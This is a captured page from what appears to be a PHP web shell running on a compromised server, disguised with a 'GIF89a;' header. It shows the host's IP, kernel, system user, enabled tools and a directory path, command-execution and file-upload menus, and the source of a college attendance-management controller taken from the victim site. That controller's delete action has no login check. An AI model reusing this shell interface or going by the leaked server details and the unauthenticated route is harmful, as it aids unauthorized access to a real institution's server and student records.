GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.133.145.17 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of Attendance * * @author Softpro India Pvt. Ltd. */ class Attendance extends CI_controller { public function __construct() { parent::__construct(); $this->load->model('admin/SessionManagement'); $this->load->model('admin/StudentManagement'); $this->load->model('admin/SubjectManagement'); $this->load->model('admin/SlotManagement'); $this->load->model('admin/AttendanceManagement'); $this->load->model('admin/CourseManagement'); $this->load->model('admin/DepartmentManagement'); $this->load->model('admin/DesignationManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn()) { $adminData = $this->session->userdata("adminData"); $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C', 'O'))->result(); $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($adminData["smember_id"])->result(); $viewData["selectedSubject"] = ""; $viewData["selectedSession"] = ""; $viewData["selectedFrom"] = ""; $viewData["selectedTo"] = ""; $attendanceReportArray = array(); if (isset($_POST["filterAttendanceBtn"])) { $session = $this->input->post("session"); $subject = $this->input->post("subject"); $from = $this->input->post("from"); $to = $this->input->post("to"); $viewData["selectedSubject"] = $subject; $viewData["selectedSession"] = $session; $viewData["selectedFrom"] = $from; $viewData["selectedTo"] = $to; $allottedStudentToSubject = $this->StudentManagement->getAllStudentAllotedToSubject($subject)->result(); $totalClasses = $this->AttendanceManagement->getTotalClasesCountBy($subject, ($from == "" || $from == null ) ? "" : date('Y-m-d', strtotime(str_replace('/', '-', $from))), ($to == "" || $to == null ) ? "" : date('Y-m-d', strtotime(str_replace('/', '-', $to))))->result()[0]->total_classes; $viewData["totalClasses"] = $totalClasses; if ($totalClasses) { for ($i = 0; $i < sizeof($allottedStudentToSubject); $i++) { $student = $allottedStudentToSubject[$i]; $totalPresent = $this->AttendanceManagement->getTotalAttendanceOfStudentBy($student->stta_id, ($from == "" || $from == null ) ? "" : date('Y-m-d', strtotime(str_replace('/', '-', $from))), ($to == "" || $to == null ) ? "" : date('Y-m-d', strtotime(str_replace('/', '-', $to))))->result()[0]; $viewData["selectedSubjectDetails"] = $this->SubjectManagement->getSubjectDetailsBy($subject)->result()[0]; $studentData = array( 'tspi_name' => $student->tspi_name, 'semester' => $student->student_semester, 'entry_type' => $student->tcsm_course_type, 'tspi_enrollment_no' => $student->tspi_enrollment_no, 'course' => $student->course_name, 'total_classes' => $totalClasses, 'present' => $totalPresent->present_count, 'absent' => ($totalClasses - $totalPresent->present_count), 'percent' => ceil(($totalPresent->present_count == 0) ? 0 : number_format((float) (($totalPresent->present_count / $totalClasses) * 100), 2, '.', '')), ); array_push($attendanceReportArray, $studentData); } } else { $this->session->set_flashdata("errorMessage", "No Classes Held."); } $viewData["attendanceData"] = $attendanceReportArray; $this->load->view("admin/academics/attendanceReport", $viewData); } else { $viewData["attendanceData"] = array(); $this->load->view("admin/academics/attendanceReport", $viewData); } } else { redirect("admin/"); } } public function feedAttendance() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $adminData = $this->session->userdata("adminData"); $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C'))->result(); $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($adminData["smember_id"])->result(); $calendarStatusInfo = $this->AttendanceManagement->isSafeToAddAttendanceConfigSettingFor(date("y-m-d"), $adminData["smember_id"])->result(); $viewData['backDateAttendanceFlag'] = false; $viewData["calendarStatusInfo"] = array(); if (sizeof($calendarStatusInfo) > 0) { $viewData['backDateAttendanceFlag'] = true; $viewData["calendarStatusInfo"] = $calendarStatusInfo[0]; } $this->load->view("admin/academics/feedAttendance", $viewData); } else { redirect("admin/"); } } public function createAttendanceConfig() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $viewData['designation_types'] = $this->DesignationManagement->getAllDesignationCategories()->result(); $this->load->view("admin/academics/createAttendanceConfig", $viewData); } else { redirect("admin/"); } } public function saveAttendanceConfig() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('attDate', 'Calendar End Date', 'trim|required', array('required' => 'Calendar End Date.')); $emp = $this->input->post('emp'); if ($this->form_validation->run() == FALSE) { $this->createAttendanceConfig(); } else { $configArray = array(); $attDate = $this->input->post('attDate'); for ($i = 0; $i < sizeof($emp); $i++) { if (sizeof($this->AttendanceManagement->isSafeToAddAttendanceConfigSettingFor(date('Y-m-d'), $emp[$i])->result()) == 0) { array_push($configArray, array( 'smember_id' => $emp[$i], 'sacsm_end_date' => date('Y-m-d', strtotime(str_replace('/', '-', $attDate))), 'sacsm_from' => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post('from')))), 'sacsm_to' => date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post('to')))), 'sacsm_added_on' => date("Y-m-d H:i:s"), 'sacsm_added_by' => $this->session->userdata("adminData")["smember_id"], 'sacsm_updated_on' => date("Y-m-d H:i:s"), 'sacsm_updated_by' => $this->session->userdata("adminData")["smember_id"] )); } } if (sizeof($configArray)) { $this->db->trans_start(); if ($this->AttendanceManagement->saveAttendanceConfigData($configArray)) { $this->db->trans_complete(); $this->session->set_flashdata("successMessage", "Attendance Config Setting Created Successfully."); $this->attendanceConfigs(); } else { $this->session->set_flashdata("errorMessage", "Failed To Create Attendance Config Setting."); redirect(current_url()); } } else { $this->session->set_flashdata("errorMessage", "Attendance Config Setting Already Created For Selected Employees."); redirect(current_url()); } } } else { redirect("admin/"); } } public function attendanceConfigs() { if ($this->sessionvalidator->isLoggedIn()) { $viewData["attConfigs"] = $this->AttendanceManagement->getAttendanceConfigs()->result(); $this->load->view("admin/academics/attendanceConfigs", $viewData); } else { redirect("admin/"); } } public function deleteAttendanceConfig($sacsm_id) { if ($this->AttendanceManagement->deleteAttendanceConfigs($sacsm_id)) { $this->session->set_flashdata("successMessage", "Attendance Config Setting Deleted Successfully."); $this->attendanceConfigs(); } else { $this->session->set_flashdata("errorMessage", "Failed To Delete Attendance Config Setting."); $this->attendanceConfigs(); } } public function saveAttendance() { if ($this->sessionvalidator->isLoggedIn()) { $adminData = $this->session->userdata("adminData"); $subject = $this->input->post("subject"); $session = $this->input->post("session"); $slot_id = $this->input->post("slot"); $attDate = $this->input->post("attDate"); $student_info = $this->StudentManagement->getAllStudentAllotedToSubject($subject, $adminData["smember_id"], $session)->result(); $attendanceDetailsArray = array(); for ($i = 0; $i < sizeof($student_info); $i++) { $record = $student_info[$i]; $radioName = $record->tspi_form_no; $attendance = array( 'stta_id' => $record->stta_id, 'sta_id' => $subject, 'session_id' => $session, 'smember_id' => $adminData['smember_id'], 'sam_date' => $attDate, 'sam_added_by' => $adminData['smember_id'], 'sam_added_on' => date('Y-m-d H:i:s'), 'sam_updated_by' => $adminData['smember_id'], 'sam_updated_on' => date('Y-m-d H:i:s'), 'slot_id' => $slot_id, 'sam_flag' => $this->input->post($radioName), 'sam_date' => date('Y-m-d', strtotime(str_replace('/', '-', $attDate))), 'sam_remark' => ($this->input->post($radioName) == 'A') ? $this->input->post("remark" . $record->tspi_form_no) : NULL ); array_push($attendanceDetailsArray, $attendance); } $this->db->trans_start(); if ($this->AttendanceManagement->saveAttendance($attendanceDetailsArray)) { $this->session->set_flashdata("successMessage", "Attendance Saved Successfully."); $this->db->trans_complete(); redirect('admin/Attendance/feedAttendance'); } else { $this->session->set_flashdata("errorMessage", "Failed To Save Attendance Details."); redirect('admin/Attendance/feedAttendance'); } } else { redirect("admin/"); } } public function editAttendance() { if ($this->sessionvalidator->isLoggedIn()) { $adminData = $this->session->userdata("adminData"); $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C'))->result(); $calendarStatusInfo = $this->AttendanceManagement->isSafeToAddAttendanceConfigSettingFor(date("y-m-d"), $adminData["smember_id"])->result(); $viewData['backDateAttendanceFlag'] = false; $viewData["calendarStatusInfo"] = array(); if (sizeof($calendarStatusInfo) > 0) { $viewData['backDateAttendanceFlag'] = true; $viewData["calendarStatusInfo"] = $calendarStatusInfo[0]; } $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($adminData["smember_id"])->result(); if (isset($_POST["filterAttendanceBtn"])) { $session = $this->input->post("session"); $subject = $this->input->post("subject"); $attDate = $this->input->post("attDate"); $slot = $this->input->post("slot"); $viewData["selectedSubject"] = $subject; $viewData["selectedSlot"] = $slot; $viewData["selectedAttDate"] = $attDate; $viewData["attendanceData"] = $this->AttendanceManagement->getAttendanceBy($subject, $slot, $session, $adminData["smember_id"], date('Y-m-d', strtotime(str_replace('/', '-', $attDate))))->result(); $this->load->view("admin/academics/editAttendance", $viewData); } else if (isset($_POST["updateBtn"])) { $adminData = $this->session->userdata("adminData"); $subject = $this->input->post("subject"); $session = $this->input->post("session"); $slot_id = $this->input->post("slot"); $attDate = $this->input->post("attDate"); $student_info = $this->AttendanceManagement->getAttendanceBy($subject, $slot_id, $session, $adminData["smember_id"], date('Y-m-d', strtotime(str_replace('/', '-', $attDate))))->result(); $updatedAttendanceDetailsArray = array(); for ($i = 0; $i < sizeof($student_info); $i++) { $record = $student_info[$i]; $radioName = $record->tspi_form_no; $attendance = array( 'stta_id' => $record->stta_id, 'sam_id' => $record->sam_id, 'sam_updated_by' => $adminData['smember_id'], 'sam_updated_on' => date('Y-m-d H:i:s'), 'sam_flag' => $this->input->post($radioName), 'sam_remark' => ($this->input->post($radioName) == 'A') ? $this->input->post("remark" . $record->tspi_form_no) : "" ); array_push($updatedAttendanceDetailsArray, $attendance); } $this->db->trans_start(); $this->AttendanceManagement->updateAttendance($updatedAttendanceDetailsArray); $this->session->set_flashdata("successMessage", "Attendance Updated Successfully."); $this->db->trans_complete(); redirect('admin/Attendance/editAttendance'); } else { $viewData["selectedSubject"] = ""; $viewData["selectedSlot"] = ""; $viewData["selectedAttDate"] = ""; $viewData['slots'] = array(); $viewData["attendanceData"] = array(); $this->load->view("admin/academics/editAttendance", $viewData); } } else { redirect("admin/"); } } public function updateAttendance() { if ($this->sessionvalidator->isLoggedIn()) { $adminData = $this->session->userdata("adminData"); $subject = $this->input->post("subject"); $session = $this->input->post("session"); $slot_id = $this->input->post("slot"); $attDate = $this->input->post("attDate"); $student_info = $this->AttendanceManagement->getAttendanceBy($subject, $slot_id, $session, $adminData["smember_id"], date('Y-m-d', strtotime(str_replace('/', '-', $attDate))))->result(); $updatedAttendanceDetailsArray = array(); for ($i = 0; $i < sizeof($student_info); $i++) { $record = $student_info[$i]; $radioName = $record->tspi_form_no; $attendance = array( 'stta_id' => $record->stta_id, 'sam_id' => $record->sam_id, 'sam_updated_by' => $adminData['smember_id'], 'sam_updated_on' => date('Y-m-d H:i:s'), 'sam_flag' => $this->input->post($radioName), 'sam_remark' => ($this->input->post($radioName) == 'A') ? $this->input->post("remark" . $record->tspi_form_no) : NULL ); array_push($updatedAttendanceDetailsArray, $attendance); } print_r($updatedAttendanceDetailsArray); exit; $this->db->trans_start(); $this->AttendanceManagement->updateAttendance($updatedAttendanceDetailsArray); $this->session->set_flashdata("successMessage", "Attendance Updated Successfully."); $this->db->trans_complete(); redirect('admin/Attendance/editAttendance'); } else { redirect("admin/"); } } public function absentiesReport() { if ($this->sessionvalidator->isLoggedIn()) { $adminData = $this->session->userdata("adminData"); $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C', 'O'))->result(); $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($adminData["smember_id"])->result(); $viewData["selectedSubject"] = ""; $viewData["selectedSession"] = ""; $viewData["selectedFrom"] = ""; $viewData["selectedTo"] = ""; $attendanceReportArray = array(); if (isset($_POST["filterAttendanceBtn"])) { $session = $this->input->post("session"); $subject = $this->input->post("subject"); $from = $this->input->post("from"); $to = $this->input->post("to"); $viewData["selectedSubject"] = $subject; $viewData["selectedSession"] = $session; $viewData["selectedFrom"] = $from; $viewData["selectedTo"] = $to; $totalClasses = $this->AttendanceManagement->getTotalClasesCountBy($subject, ($from == "" || $from == null ) ? "" : date('Y-m-d', strtotime(str_replace('/', '-', $from))), ($to == "" || $to == null ) ? "" : date('Y-m-d', strtotime(str_replace('/', '-', $to))))->result()[0]->total_classes; $viewData["totalClasses"] = $totalClasses; if ($totalClasses) { $attendanceReportArray = $this->AttendanceManagement->getAbsentDatatBy($subject, $from, $to)->result(); $viewData["selectedSubjectDetails"] = $this->SubjectManagement->getSubjectDetailsBy($subject)->result()[0]; } else { $this->session->set_flashdata("errorMessage", "No Classes Held."); } $viewData["attendanceData"] = $attendanceReportArray; $this->load->view("admin/academics/absentiesReport", $viewData); } else { $viewData["attendanceData"] = array(); $this->load->view("admin/academics/absentiesReport", $viewData); } } else { redirect("admin/"); } } }